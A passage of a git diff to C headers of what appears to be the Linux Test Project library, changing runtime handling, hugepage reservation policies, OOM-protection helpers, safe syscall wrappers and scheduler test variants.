 	return tst_fs_has_free_(cleanup, path, size, mult);
 }
diff --git a/include/tst_fuzzy_sync.h b/include/tst_fuzzy_sync.h
index 775f5cb..bef4240 100644
--- a/include/tst_fuzzy_sync.h
+++ b/include/tst_fuzzy_sync.h
@@ -160,15 +160,6 @@
 	int b_cntr;
 	/** Internal; Used by tst_fzsync_pair_exit() and fzsync_pair_wait() */
 	int exit;
-	/**
-	 * The maximum desired execution time as a proportion of the timeout
-	 *
-	 * A value x so that 0 < x < 1 which decides how long the test should
-	 * be run for (assuming the loop limit is not exceeded first).
-	 *
-	 * Defaults to 0.5 (~150 seconds with default timeout).
-	 */
-	float exec_time_p;
 	/** Internal; The test time remaining on tst_fzsync_pair_reset() */
 	float exec_time_start;
 	/**
@@ -209,12 +200,11 @@
  *
  * @sa tst_fzsync_pair_reset()
  */
-static void tst_fzsync_pair_init(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_pair_init(struct tst_fzsync_pair *pair)
 {
 	CHK(avg_alpha, 0, 1, 0.25);
 	CHK(min_samples, 20, INT_MAX, 1024);
 	CHK(max_dev_ratio, 0, 1, 0.1);
-	CHK(exec_time_p, 0, 1, 0.5);
 	CHK(exec_loops, 20, INT_MAX, 3000000);
 
 	if (tst_ncpus_available() <= 1)
@@ -229,7 +219,7 @@
  *
  * Call this from your cleanup function.
  */
-static void tst_fzsync_pair_cleanup(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_pair_cleanup(struct tst_fzsync_pair *pair)
 {
 	if (pair->thread_b) {
 		/* Revoke thread B if parent hits accidental break */
@@ -245,7 +235,7 @@
  *
  * @relates tst_fzsync_stat
  */
-static void tst_init_stat(struct tst_fzsync_stat *s)
+static inline void tst_init_stat(struct tst_fzsync_stat *s)
 {
 	s->avg = 0;
 	s->avg_dev = 0;
@@ -269,7 +259,7 @@
  *
  * @sa tst_fzsync_pair_init()
  */
-static void tst_fzsync_pair_reset(struct tst_fzsync_pair *pair,
+static inline void tst_fzsync_pair_reset(struct tst_fzsync_pair *pair,
 				  void *(*run_b)(void *))
 {
 	tst_fzsync_pair_cleanup(pair);
@@ -291,7 +281,7 @@
 	if (run_b)
 		SAFE_PTHREAD_CREATE(&pair->thread_b, 0, run_b, 0);
 
-	pair->exec_time_start = (float)tst_timeout_remaining();
+	pair->exec_time_start = (float)tst_remaining_runtime();
 }
 
 /**
@@ -312,7 +302,7 @@
  *
  * @relates tst_fzsync_pair
  */
-static void tst_fzsync_pair_info(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_pair_info(struct tst_fzsync_pair *pair)
 {
 	tst_res(TINFO, "loop = %d, delay_bias = %d",
 		pair->exec_loop, pair->delay_bias);
@@ -465,7 +455,7 @@
  *
  * @relates tst_fzsync_pair
  */
-static void tst_fzsync_pair_update(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_pair_update(struct tst_fzsync_pair *pair)
 {
 	float alpha = pair->avg_alpha;
 	float per_spin_time, time_delay;
@@ -644,10 +634,9 @@
  */
 static inline int tst_fzsync_run_a(struct tst_fzsync_pair *pair)
 {
-	float rem_p = 1 - tst_timeout_remaining() / pair->exec_time_start;
+	float rem_p = 1 - tst_remaining_runtime() / pair->exec_time_start;
 
-	if ((pair->exec_time_p * SAMPLING_SLICE < rem_p)
-		&& (pair->sampling > 0)) {
+	if ((SAMPLING_SLICE < rem_p) && (pair->sampling > 0)) {
 		tst_res(TINFO, "Stopped sampling at %d (out of %d) samples, "
 			"sampling time reached 50%% of the total time limit",
 			pair->exec_loop, pair->min_samples);
@@ -655,7 +644,7 @@
 		tst_fzsync_pair_info(pair);
 	}
 
-	if (pair->exec_time_p < rem_p) {
+	if (rem_p >= 1) {
 		tst_res(TINFO,
 			"Exceeded execution time, requesting exit");
 		tst_atomic_store(1, &pair->exit);
diff --git a/include/tst_hugepage.h b/include/tst_hugepage.h
index e08a2da..7fba02c 100644
--- a/include/tst_hugepage.h
+++ b/include/tst_hugepage.h
@@ -12,6 +12,16 @@
 extern char *nr_opt; /* -s num   Set the number of the been allocated hugepages */
 extern char *Hopt;   /* -H /..   Location of hugetlbfs, i.e.  -H /var/hugetlbfs */
 
+enum tst_hp_policy {
+	TST_REQUEST,
+	TST_NEEDS,
+};
+
+struct tst_hugepage {
+	const unsigned long number;
+	enum  tst_hp_policy policy;
+};
+
 /*
  * Get the default hugepage size. Returns 0 if hugepages are not supported.
  */
@@ -23,11 +33,11 @@
  *
  * Note: this depend on the status of system memory fragmentation.
  */
-unsigned long tst_request_hugepages(unsigned long hpages);
+unsigned long tst_reserve_hugepages(struct tst_hugepage *hp);
 
 /*
  * This variable is used for recording the number of hugepages which system can
- * provides. It will be equal to 'hpages' if tst_request_hugepages on success,
+ * provides. It will be equal to 'hpages' if tst_reserve_hugepages on success,
  * otherwise set it to a number of hugepages that we were able to reserve.
  *
  * If system does not support hugetlb, then it will be set to 0.
diff --git a/include/tst_kconfig.h b/include/tst_kconfig.h
index 1bb21fe..cc0908e 100644
--- a/include/tst_kconfig.h
+++ b/include/tst_kconfig.h
@@ -44,7 +44,8 @@
 
 /**
  * Checks if required kernel configuration options are set in the kernel
- * config and exits the test with TCONF if at least one is missing.
+ * config. Return 0 if every config is satisfied and return 1 if at least
+ * one is missing.
  *
  * The config options can be passed in two different formats, either
  * "CONFIG_FOO" in which case the option has to be set in order to continue the
@@ -53,6 +54,6 @@
  *
  * @param kconfigs NULL-terminated array of config strings needed for the testrun.
  */
-void tst_kconfig_check(const char *const kconfigs[]);
+int tst_kconfig_check(const char *const kconfigs[]);
 
 #endif	/* TST_KCONFIG_H__ */
diff --git a/include/tst_kvercmp.h b/include/tst_kvercmp.h
index 495e8db..fbefa0f 100644
--- a/include/tst_kvercmp.h
+++ b/include/tst_kvercmp.h
@@ -30,7 +30,7 @@
 /*
  * Compare given kernel version with currently running kernel.
  *
- * Returns negative if older, 0 if the same and possitive if newer.
+ * Returns negative if older, 0 if the same and positive if newer.
  */
 int tst_kvercmp(int r1, int r2, int r3);
 
diff --git a/include/tst_memutils.h b/include/tst_memutils.h
index 91dad07..45dec55 100644
--- a/include/tst_memutils.h
+++ b/include/tst_memutils.h
@@ -19,4 +19,38 @@
  */
 void tst_pollute_memory(size_t maxsize, int fillchar);
 
+/*
+ * Read the value of MemAvailable from /proc/meminfo, if no support on
+ * older kernels, return 'MemFree + Cached' for instead.
+ */
+long long tst_available_mem(void);
+
+/*
+ * Enable OOM protection to prevent process($PID) being killed by OOM Killer.
+ *   echo -1000 >/proc/$PID/oom_score_adj
+ *
+ * If the pid is 0 which means it will set on current(self) process.
+ *
+ * Unless the process has CAP_SYS_RESOURCE this call will be no-op because
+ * setting adj value < 0 requires it.
+ *
+ * CAP_SYS_RESOURCE:
+ *   set /proc/[pid]/oom_score_adj to a value lower than the value last set
+ *   by a process with CAP_SYS_RESOURCE.
+ *
+ * Note:
+ *  This exported tst_enable_oom_protection function can be used at anywhere
+ *  you want to protect, but please remember that if you do enable protection
+ *  on a process($PID) that all the children will inherit its score and be
+ *  ignored by OOM Killer as well. So that's why tst_disable_oom_protection()
+ *  to be used in combination.
+ */
+void tst_enable_oom_protection(pid_t pid);
+
+/*
+ * Disable the OOM protection for the process($PID).
+ *   echo 0 >/proc/$PID/oom_score_adj
+ */
+void tst_disable_oom_protection(pid_t pid);
+
 #endif /* TST_MEMUTILS_H__ */
diff --git a/include/tst_minmax.h b/include/tst_minmax.h
index 6417dd7..9d7d596 100644
--- a/include/tst_minmax.h
+++ b/include/tst_minmax.h
@@ -9,6 +9,7 @@
 # define MIN(a, b) ({ \
 	typeof(a) _a = (a); \
 	typeof(b) _b = (b); \
+	(void) (&_a == &_b); \
 	_a < _b ? _a : _b; \
 })
 #endif /* MIN */
@@ -17,6 +18,7 @@
 # define MAX(a, b) ({ \
 	typeof(a) _a = (a); \
 	typeof(b) _b = (b); \
+	(void) (&_a == &_b); \
 	_a > _b ? _a : _b; \
 })
 #endif /* MAX */
diff --git a/include/tst_mkfs.h b/include/tst_mkfs.h
index b89bf81..9747a85 100644
--- a/include/tst_mkfs.h
+++ b/include/tst_mkfs.h
@@ -9,7 +9,8 @@
  * @dev: path to a device
  * @fs_type: filesystem type
  * @fs_opts: NULL or NULL terminated array of extra mkfs options
- * @extra_opts: NULL or NULL terminated array of extra mkfs options
+ * @extra_opts: NULL or NULL terminated array of extra mkfs options which are
+ * passed after the device name.
  */
 void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
 	       const char *dev, const char *fs_type,
diff --git a/include/tst_netdevice.h b/include/tst_netdevice.h
index 3a66987..f026612 100644
--- a/include/tst_netdevice.h
+++ b/include/tst_netdevice.h
@@ -23,8 +23,15 @@
 #define CREATE_VETH_PAIR(ifname1, ifname2) \
 	tst_create_veth_pair(__FILE__, __LINE__, (ifname1), (ifname2))
 
-int tst_remove_netdev(const char *file, const int lineno, const char *ifname);
-#define REMOVE_NETDEV(ifname) tst_remove_netdev(__FILE__, __LINE__, (ifname))
+int tst_netdev_add_device(const char *file, const int lineno,
+	const char *ifname, const char *devtype);
+#define NETDEV_ADD_DEVICE(ifname, devtype) \
+	tst_netdev_add_device(__FILE__, __LINE__, (ifname), (devtype))
+
+int tst_netdev_remove_device(const char *file, const int lineno,
+	const char *ifname);
+#define NETDEV_REMOVE_DEVICE(ifname) \
+	tst_netdev_remove_device(__FILE__, __LINE__, (ifname))
 
 int tst_netdev_add_address(const char *file, const int lineno,
 	const char *ifname, unsigned int family, const void *address,
diff --git a/include/tst_numa.h b/include/tst_numa.h
index 846e093..3af311e 100644
--- a/include/tst_numa.h
+++ b/include/tst_numa.h
@@ -38,7 +38,7 @@
  *
  * @mode Numa mempolicy mode.
  */
-const char *tst_numa_mode_name(int mode);
+const char *tst_mempolicy_mode_name(int mode);
 
 /**
  * Maps pages into memory, if path is NULL the mapping is anonymous otherwise is backed by the file.
diff --git a/include/tst_pid.h b/include/tst_pid.h
index 9ba1abb..8d999a6 100644
--- a/include/tst_pid.h
+++ b/include/tst_pid.h
@@ -13,8 +13,10 @@
 pid_t tst_get_unused_pid_(void (*cleanup_fn)(void));
 
 /*
- * Returns number of free pids by substarction of the number of pids
- * currently used ('ps -eT') from max_pids
+ * Returns number of free pids by subtraction of the number of pids
+ * currently used ('ps -eT') from maximum number of processes.
+ * The limit of processes come from kernel pid_max and cgroup session limits
+ * (e.g. configured by systemd user.slice).
  */
 int tst_get_free_pids_(void (*cleanup_fn)(void));
 
diff --git a/include/tst_private.h b/include/tst_private.h
index fe0955f..6f4f39b 100644
--- a/include/tst_private.h
+++ b/include/tst_private.h
@@ -11,6 +11,7 @@
 
 #include <stdio.h>
 #include <netdb.h>
+#include "tst_defaults.h"
 
 #define MAX_IPV4_PREFIX 32
 #define MAX_IPV6_PREFIX 128
@@ -37,4 +38,13 @@
  */
 char tst_kconfig_get(const char *confname);
 
+/*
+ * If cmd argument is a single command, this function just checks command
+ * whether exists. If not, case skips.
+ * If cmd argument is a complex string ie 'mkfs.ext4 >= 1.43.0', this
+ * function checks command version whether meets this requirement.
+ * If not, case skips.
+ */
+void tst_check_cmd(const char *cmd);
+
 #endif
diff --git a/include/tst_process_state.h b/include/tst_process_state.h
index c32aa58..b1d83e1 100644
--- a/include/tst_process_state.h
+++ b/include/tst_process_state.h
@@ -1,20 +1,20 @@
 /* SPDX-License-Identifier: GPL-2.0-or-later
  * Copyright (C) 2012-2014 Cyril Hrubis chrubis@suse.cz
+ * Copyright (C) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
- /*
-
-   These functions helps you wait till a process with given pid changes state.
-   This is for example useful when you need to wait in parent until child
-   blocks.
-
-  */
+/*
+ * These functions helps you wait till a process with given pid changes state.
+ * This is for example useful when you need to wait in parent until child blocks.
+ */
 
 #ifndef TST_PROCESS_STATE__
 #define TST_PROCESS_STATE__
 
 #include <unistd.h>
 
+#ifdef TST_TEST_H__
+
 /*
  * Waits for process state change.
  *
@@ -26,11 +26,35 @@
  * Z - zombie process
  * T - process is traced
  */
-#ifdef TST_TEST_H__
-
 #define TST_PROCESS_STATE_WAIT(pid, state, msec_timeout) \
 	tst_process_state_wait(__FILE__, __LINE__, NULL, \
-	                       (pid), (state), (msec_timeout))
+			(pid), (state), (msec_timeout))
+
+/*
+ * Check that a given pid is present on the system
+ */
+#define TST_PROCESS_EXIT_WAIT(pid, msec_timeout) \
+	tst_process_exit_wait((pid), (msec_timeout))
+
+/*
+ * Waits for thread state change.
+ *
+ * The state is one of the following:
+ *
+ * R - running
+ * S - sleeping
+ * D - disk sleep
+ * T - stopped
+ * t - tracing stopped
+ * Z - zombie
+ * X - dead
+ */
+#define TST_THREAD_STATE_WAIT(tid, state, msec_timeout) \
+	tst_thread_state_wait((tid), (state), (msec_timeout))
+
+int tst_thread_state_wait(pid_t tid, const char state,
+				unsigned int msec_timeout);
+
 #else
 /*
  * The same as above but does not use tst_brkm() interface.
@@ -41,13 +65,14 @@
  */
 int tst_process_state_wait2(pid_t pid, const char state);
 
-# define TST_PROCESS_STATE_WAIT(cleanup_fn, pid, state) \
-	 tst_process_state_wait(__FILE__, __LINE__, (cleanup_fn), \
-	                        (pid), (state), 0)
+#define TST_PROCESS_STATE_WAIT(cleanup_fn, pid, state) \
+	tst_process_state_wait(__FILE__, __LINE__, (cleanup_fn), \
+			(pid), (state), 0)
 #endif
 
 int tst_process_state_wait(const char *file, const int lineno,
-                            void (*cleanup_fn)(void), pid_t pid,
-			    const char state, unsigned int msec_timeout);
+			   void (*cleanup_fn)(void), pid_t pid,
+			   const char state, unsigned int msec_timeout);
+int tst_process_exit_wait(pid_t pid, unsigned int msec_timeout);
 
 #endif /* TST_PROCESS_STATE__ */
diff --git a/include/tst_rtnetlink.h b/include/tst_rtnetlink.h
index 12ec258..6a0c53d 100644
--- a/include/tst_rtnetlink.h
+++ b/include/tst_rtnetlink.h
@@ -21,6 +21,8 @@
 	size_t payload_size;
 };
 
+extern int tst_rtnl_errno;
+
 /* Open a netlink socket */
 struct tst_rtnl_context *tst_rtnl_create_context(const char *file,
 	const int lineno);
diff --git a/include/tst_safe_file_at.h b/include/tst_safe_file_at.h
index 8df3422..e253198 100644
--- a/include/tst_safe_file_at.h
+++ b/include/tst_safe_file_at.h
@@ -25,6 +25,10 @@
 #define SAFE_UNLINKAT(dirfd, path, flags)				\
 	safe_unlinkat(__FILE__, __LINE__, (dirfd), (path), (flags))
 
+#define SAFE_FCHOWNAT(dirfd, path, owner, group, flags)			\
+	safe_fchownat(__FILE__, __LINE__,				\
+			(dirfd), (path), (owner), (group), (flags))
+
 const char *tst_decode_fd(const int fd)
 			  __attribute__((warn_unused_result));
 
@@ -58,4 +62,9 @@
 		  const int dirfd, const char *const path, const int flags)
 		  __attribute__ ((nonnull));
 
+int safe_fchownat(const char *const file, const int lineno,
+		  const int dirfd, const char *const path, uid_t owner,
+		  gid_t group, int flags)
+		  __attribute__ ((nonnull));
+
 #endif
diff --git a/include/tst_safe_file_ops.h b/include/tst_safe_file_ops.h
index 223eddd..62f6600 100644
--- a/include/tst_safe_file_ops.h
+++ b/include/tst_safe_file_ops.h
@@ -44,6 +44,11 @@
 	safe_file_printf(__FILE__, __LINE__, NULL, \
 	                 (path), (fmt), ## __VA_ARGS__)
 
+/* Same as SAFE_FILE_PRINTF() but returns quietly if the path doesn't exist */
+#define SAFE_TRY_FILE_PRINTF(path, fmt, ...) \
+	safe_try_file_printf(__FILE__, __LINE__, NULL, \
+		(path), (fmt), ## __VA_ARGS__)
+
 #define SAFE_CP(src, dst) \
 	safe_cp(__FILE__, __LINE__, NULL, (src), (dst))
 
diff --git a/include/tst_safe_macros.h b/include/tst_safe_macros.h
index dcef58b..81c4b08 100644
--- a/include/tst_safe_macros.h
+++ b/include/tst_safe_macros.h
@@ -24,6 +24,11 @@
 #include "safe_macros_fn.h"
 #include "tst_cmd.h"
 
+int safe_access(const char *filename, const int lineno, const char *pathname,
+		   int mode);
+#define SAFE_ACCESS(path, mode) \
+	safe_access(__FILE__, __LINE__, (path), (mode))
+
 #define SAFE_BASENAME(path) \
 	safe_basename(__FILE__, __LINE__, NULL, (path))
 
@@ -120,6 +125,16 @@
 #define SAFE_SETREUID(ruid, euid) \
 	safe_setreuid(__FILE__, __LINE__, (ruid), (euid))
 
+int safe_setresgid(const char *file, const int lineno,
+	gid_t rgid, gid_t egid, gid_t sgid);
+#define SAFE_SETRESGID(rgid, egid, sgid) \
+	safe_setresgid(__FILE__, __LINE__, (rgid), (egid), (sgid))
+
+int safe_setresuid(const char *file, const int lineno,
+		  uid_t ruid, uid_t euid, uid_t suid);
+#define SAFE_SETRESUID(ruid, euid, suid) \
+	safe_setresuid(__FILE__, __LINE__, (ruid), (euid), (suid))
+
 #define SAFE_GETRESUID(ruid, euid, suid) \
 	safe_getresuid(__FILE__, __LINE__, NULL, (ruid), (euid), (suid))
 
@@ -136,6 +151,16 @@
 #define SAFE_GETPGID(pid) \
 	safe_getpgid(__FILE__, __LINE__, (pid))
 
+int safe_setgroups(const char *file, const int lineno, size_t size, const gid_t *list);
+
+#define SAFE_SETGROUPS(size, list) \
+	safe_setgroups(__FILE__, __LINE__, (size), (list))
+
+int safe_getgroups(const char *file, const int lineno, int size, gid_t list[]);
+
+#define SAFE_GETGROUPS(size, list) \
+	safe_getgroups(__FILE__, __LINE__, (size), (list))
+
 #define SAFE_UNLINK(pathname) \
 	safe_unlink(__FILE__, __LINE__, NULL, (pathname))
 
@@ -230,7 +255,7 @@
 
 /*
  * following functions are inline because the behaviour may depend on
- * -D_FILE_OFFSET_BITS=64 -DOFF_T=off64_t compile flags
+ * -D_FILE_OFFSET_BITS=64 compile flag
  */
 
 static inline void *safe_mmap(const char *file, const int lineno,
@@ -582,6 +607,11 @@
 		    unsigned long persona);
 #define SAFE_PERSONALITY(persona) safe_personality(__FILE__, __LINE__, persona)
 
+int safe_pidfd_open(const char *filename, const int lineno, pid_t pid,
+		   unsigned int flags);
+#define SAFE_PIDFD_OPEN(pid, flags) \
+	safe_pidfd_open(__FILE__, __LINE__, (pid), (flags))
+
 #define SAFE_SETENV(name, value, overwrite) do {		\
 	if (setenv(name, value, overwrite)) {			\
 		tst_brk_(__FILE__, __LINE__, TBROK | TERRNO,	\
diff --git a/include/tst_sched.h b/include/tst_sched.h
new file mode 100644
index 0000000..700afe3
--- /dev/null
+++ b/include/tst_sched.h
@@ -0,0 +1,84 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
+ */
+
+#ifndef TST_SCHED_H_
+#define TST_SCHED_H_
+
+#include <sched.h>
+
+#include "lapi/syscalls.h"
+
+#define TST_LIBC_SCHED_SCALL_(SCALL, ...)({ \
+	int tst_ret = SCALL(__VA_ARGS__); \
+	if (tst_ret == -1 && errno == ENOSYS) { \
+		tst_brk(TCONF, #SCALL " not supported"); \
+	} \
+	tst_ret; \
+})
+
+static inline int sys_sched_setparam(pid_t pid, const struct sched_param *param)
+{
+	return tst_syscall(__NR_sched_setparam, pid, param);
+}
+
+static inline int sys_sched_getparam(pid_t pid, struct sched_param *param)
+{
+	return tst_syscall(__NR_sched_getparam, pid, param);
+}
+
+static inline int sys_sched_setscheduler(pid_t pid, int policy, const struct sched_param *param)
+{
+	return tst_syscall(__NR_sched_setscheduler, pid, policy, param);
+}
+
+static inline int sys_sched_getscheduler(pid_t pid)
+{
+	return tst_syscall(__NR_sched_getscheduler, pid);
+}
+
+static inline int libc_sched_setparam(pid_t pid, const struct sched_param *param)
+{
+	return TST_LIBC_SCHED_SCALL_(sched_setparam, pid, param);
+}
+
+static inline int libc_sched_getparam(pid_t pid, struct sched_param *param)
+{
+	return TST_LIBC_SCHED_SCALL_(sched_getparam, pid, param);
+}
+
+static inline int libc_sched_setscheduler(pid_t pid, int policy, const struct sched_param *param)
+{
+	return TST_LIBC_SCHED_SCALL_(sched_setscheduler, pid, policy, param);
+}
+
+static inline int libc_sched_getscheduler(pid_t pid)
+{
+	return TST_LIBC_SCHED_SCALL_(sched_getscheduler, pid);
+}
+
+struct sched_variant {
+	char *desc;
+
+	int (*sched_setparam)(pid_t pid, const struct sched_param *param);
+	int (*sched_getparam)(pid_t pid, struct sched_param *param);
+	int (*sched_setscheduler)(pid_t pid, int policy, const struct sched_param *param);
+	int (*sched_getscheduler)(pid_t pid);
+
+} sched_variants[] = {
+	{ .sched_setparam = libc_sched_setparam,
+	  .sched_getparam = libc_sched_getparam,
+	  .sched_setscheduler = libc_sched_setscheduler,
+	  .sched_getscheduler = libc_sched_getscheduler,
+	  .desc = "libc"
+	},
+	{ .sched_setparam = sys_sched_setparam,
+	  .sched_getparam = sys_sched_getparam,
+	  .sched_setscheduler = sys_sched_setscheduler,
+	  .sched_getscheduler = sys_sched_getscheduler,
+	  .desc = "syscall"
+	},
+};
+
+#endif /* TST_SCHED_H_ */
diff --git a/include/tst_sys_conf.h b/include/tst_sys_conf.h
index 323e29a..b7bbe36 100644
--- a/include/tst_sys_conf.h
+++ b/include/tst_sys_conf.h
@@ -5,14 +5,14 @@
 #ifndef TST_SYS_CONF_H__
 #define TST_SYS_CONF_H__
 
-struct tst_sys_conf {
-	char path[PATH_MAX];
-	char value[PATH_MAX];
-	struct tst_sys_conf *next;
+struct tst_path_val {
+        const char *path;
+        const char *val;
 };
 
 int tst_sys_conf_save_str(const char *path, const char *value);
 int tst_sys_conf_save(const char *path);
+void tst_sys_conf_set(const char *path, const char *value);
 void tst_sys_conf_restore(int verbose);
 void tst_sys_conf_dump(void);
 
diff --git a/include/tst_test.h b/include/tst_test.h
index 6ad3555..69e6496 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -42,6 +42,8 @@
 #include "tst_lockdown.h"
 #include "tst_fips.h"
 #include "tst_taint.h"
+#include "tst_memutils.h"
+#include "tst_arch.h"
 
 /*
  * Reports testcase result.
@@ -79,6 +81,9 @@
 		tst_brk_(__FILE__, __LINE__, (ttype), (arg_fmt), ##__VA_ARGS__);\
 	})
 
+void tst_printf(const char *const fmt, ...)
+		__attribute__((nonnull(1), format (printf, 1, 2)));
+
 /* flush stderr and stdout */
 void tst_flush(void);
 
@@ -94,6 +99,7 @@
 #include "tst_safe_file_ops.h"
 #include "tst_safe_net.h"
 #include "tst_clone.h"
+#include "tst_cgroup.h"
 
 /*
  * Wait for all children and exit with TBROK if
@@ -117,6 +123,7 @@
 int tst_parse_int(const char *str, int *val, int min, int max);
 int tst_parse_long(const char *str, long *val, long min, long max);
 int tst_parse_float(const char *str, float *val, float min, float max);
+int tst_parse_filesize(const char *str, long long *val, long long min, long long max);
 
 struct tst_tag {
 	const char *name;
@@ -125,6 +132,10 @@
 
 extern unsigned int tst_variant;
 
+#define TST_NO_HUGEPAGES ((unsigned long)-1)
+
+#define TST_UNLIMITED_RUNTIME (-1)
+
 struct tst_test {
 	/* number of tests available in test() function */
 	unsigned int tcnt;
@@ -133,6 +144,12 @@
 
 	const char *min_kver;
 
+	/*
+	 * The supported_archs is a NULL terminated list of archs the test
+	 * does support.
+	 */
+	const char *const *supported_archs;
+
 	/* If set the test is compiled out */
 	const char *tconf_msg;
 
@@ -150,13 +167,15 @@
 	int restore_wallclock:1;
 	/*
 	 * If set the test function will be executed for all available
-	 * filesystems and the current filesytem type would be set in the
+	 * filesystems and the current filesystem type would be set in the
 	 * tst_device->fs_type.
 	 *
 	 * The test setup and cleanup are executed before/after __EACH__ call
 	 * to the test function.
 	 */
 	int all_filesystems:1;
+	int skip_in_lockdown:1;
+	int skip_in_compat:1;
 
 	/*
 	 * The skip_filesystem is a NULL terminated list of filesystems the
@@ -168,17 +187,31 @@
 	/* Minimum number of online CPU required by the test */
 	unsigned long min_cpus;
 
+	/* Minimum size(MB) of MemAvailable required by the test */
+	unsigned long min_mem_avail;
+
 	/*
-	 * If set non-zero number of request_hugepages, test will try to reserve the
-	 * expected number of hugepage for testing in setup phase. If system does not
-	 * have enough hpage for using, it will try the best to reserve 80% available
-	 * number of hpages. With success test stores the reserved hugepage number in
-	 * 'tst_hugepages. For the system without hugetlb supporting, variable
-	 * 'tst_hugepages' will be set to 0.
+	 * Two policies for reserving hugepage:
+	 *
+	 * TST_REQUEST:
+	 *   It will try the best to reserve available huge pages and return the number
+	 *   of available hugepages in tst_hugepages, which may be 0 if hugepages are
+	 *   not supported at all.
+	 *
+	 * TST_NEEDS:
+	 *   This is an enforced requirement, LTP should strictly do hpages applying and
+	 *   guarantee the 'HugePages_Free' no less than pages which makes that test can
+	 *   use these specified numbers correctly. Otherwise, test exits with TCONF if
+	 *   the attempt to reserve hugepages fails or reserves less than requested.
+	 *
+	 * With success test stores the reserved hugepage number in 'tst_hugepages. For
+	 * the system without hugetlb supporting, variable 'tst_hugepages' will be set to 0.
+	 * If the hugepage number needs to be set to 0 on supported hugetlb system, please
+	 * use '.hugepages = {TST_NO_HUGEPAGES}'.
 	 *
 	 * Also, we do cleanup and restore work for the hpages resetting automatically.
 	 */
-	unsigned long request_hugepages;
+	struct tst_hugepage hugepages;
 
 	/*
 	 * If set to non-zero, call tst_taint_init(taint_check) during setup
@@ -213,8 +246,18 @@
 	unsigned int mnt_flags;
 	void *mnt_data;
 
-	/* override default timeout per test run, disabled == -1 */
-	int timeout;
+	/*
+	 * Maximal test runtime in seconds.
+	 *
+	 * Any test that runs for more than a second or two should set this and
+	 * also use tst_remaining_runtime() to exit when runtime was used up.
+	 * Tests may finish sooner, for example if requested number of
+	 * iterations was reached before the runtime runs out.
+	 *
+	 * If test runtime cannot be know in advance it should be set to
+	 * TST_UNLIMITED_RUNTIME.
+	 */
+	int max_runtime;
 
 	void (*setup)(void);
 	void (*cleanup)(void);
@@ -235,10 +278,10 @@
 	const char * const *needs_drivers;
 
 	/*
-	 * NULL terminated array of (/proc, /sys) files to save
+	 * {NULL, NULL} terminated array of (/proc, /sys) files to save
 	 * before setup and restore after cleanup
 	 */
-	const char * const *save_restore;
+	const struct tst_path_val *save_restore;
 
 	/*
 	 * NULL terminated array of kernel config options required for the
@@ -247,12 +290,12 @@
 	const char *const *needs_kconfigs;
 
 	/*
-	 * NULL-terminated array to be allocated buffers.
+	 * {NULL, NULL} terminated array to be allocated buffers.
 	 */
 	struct tst_buffers *bufs;
 
 	/*
-	 * NULL-terminated array of capability settings
+	 * {NULL, NULL} terminated array of capability settings
 	 */
 	struct tst_cap *caps;
 
@@ -263,6 +306,12 @@
 
 	/* NULL terminated array of required commands */
 	const char *const *needs_cmds;
+
+	/* Requires a particular CGroup API version. */
+	const enum tst_cg_ver needs_cgroup_ver;
+
+	/* {} terminated array of required CGroup controllers */
+	const char *const *needs_cgroup_ctrls;
 };
 
 /*
@@ -271,6 +320,8 @@
 void tst_run_tcases(int argc, char *argv[], struct tst_test *self)
                     __attribute__ ((noreturn));
 
+#define IPC_ENV_VAR "LTP_IPC_PATH"
+
 /*
  * Does library initialization for child processes started by exec()
  *
@@ -290,16 +341,35 @@
  */
 const char *tst_strstatus(int status);
 
-unsigned int tst_timeout_remaining(void);
 unsigned int tst_multiply_timeout(unsigned int timeout);
-void tst_set_timeout(int timeout);
 
+/*
+ * Returns remaining test runtime. Test that runs for more than a few seconds
+ * should check if they should exit by calling this function regularly.
+ *
+ * The function returns remaining runtime in seconds. If runtime was used up
+ * zero is returned.
+ */
+unsigned int tst_remaining_runtime(void);
+
+/*
+ * Sets maximal test runtime in seconds.
+ */
+void tst_set_max_runtime(int max_runtime);
 
 /*
  * Returns path to the test temporary directory in a newly allocated buffer.
  */
 char *tst_get_tmpdir(void);
 
+/*
+ * Validates exit status of child processes
+ */
+int tst_validate_children_(const char *file, const int lineno,
+	unsigned int count);
+#define tst_validate_children(child_count) \
+	tst_validate_children_(__FILE__, __LINE__, (child_count))
+
 #ifndef TST_NO_DEFAULT_MAIN
 
 static struct tst_test test;
diff --git a/include/tst_test_macros.h b/include/tst_test_macros.h
index 89dfe5a..231c049 100644
--- a/include/tst_test_macros.h
+++ b/include/tst_test_macros.h
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2015-2020 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) Linux Test Project, 2021-2022
  */
 
 #ifndef TST_TEST_MACROS_H__
@@ -46,7 +47,11 @@
 	tst_res_(__FILE__, __LINE__, RES, \
 		TST_FMT_(TST_2_(dummy, ##__VA_ARGS__, SCALL) FMT, __VA_ARGS__), PAR)
 
-#define TST_EXP_POSITIVE(SCALL, ...)                                           \
+#define TST_MSGP2_(RES, FMT, PAR, PAR2, SCALL, ...) \
+	tst_res_(__FILE__, __LINE__, RES, \
+		TST_FMT_(TST_2_(dummy, ##__VA_ARGS__, SCALL) FMT, __VA_ARGS__), PAR, PAR2)
+
+#define TST_EXP_POSITIVE_(SCALL, SSCALL, ...)                                  \
 	do {                                                                   \
 		TEST(SCALL);                                                   \
 		                                                               \
@@ -54,13 +59,13 @@
 		                                                               \
 		if (TST_RET == -1) {                                           \
 			TST_MSG_(TFAIL | TTERRNO, " failed",                   \
-			         #SCALL, ##__VA_ARGS__);                       \
+			         SSCALL, ##__VA_ARGS__);                       \
 			break;                                                 \
 		}                                                              \
 		                                                               \
 		if (TST_RET < 0) {                                             \
 			TST_MSGP_(TFAIL | TTERRNO, " invalid retval %ld",      \
-			          TST_RET, #SCALL, ##__VA_ARGS__);             \
+			          TST_RET, SSCALL, ##__VA_ARGS__);             \
 			break;                                                 \
 		}                                                              \
                                                                                \
@@ -68,29 +73,75 @@
                                                                                \
 	} while (0)
 
-#define TST_EXP_FD_SILENT(SCALL, ...)	TST_EXP_POSITIVE(SCALL, __VA_ARGS__)
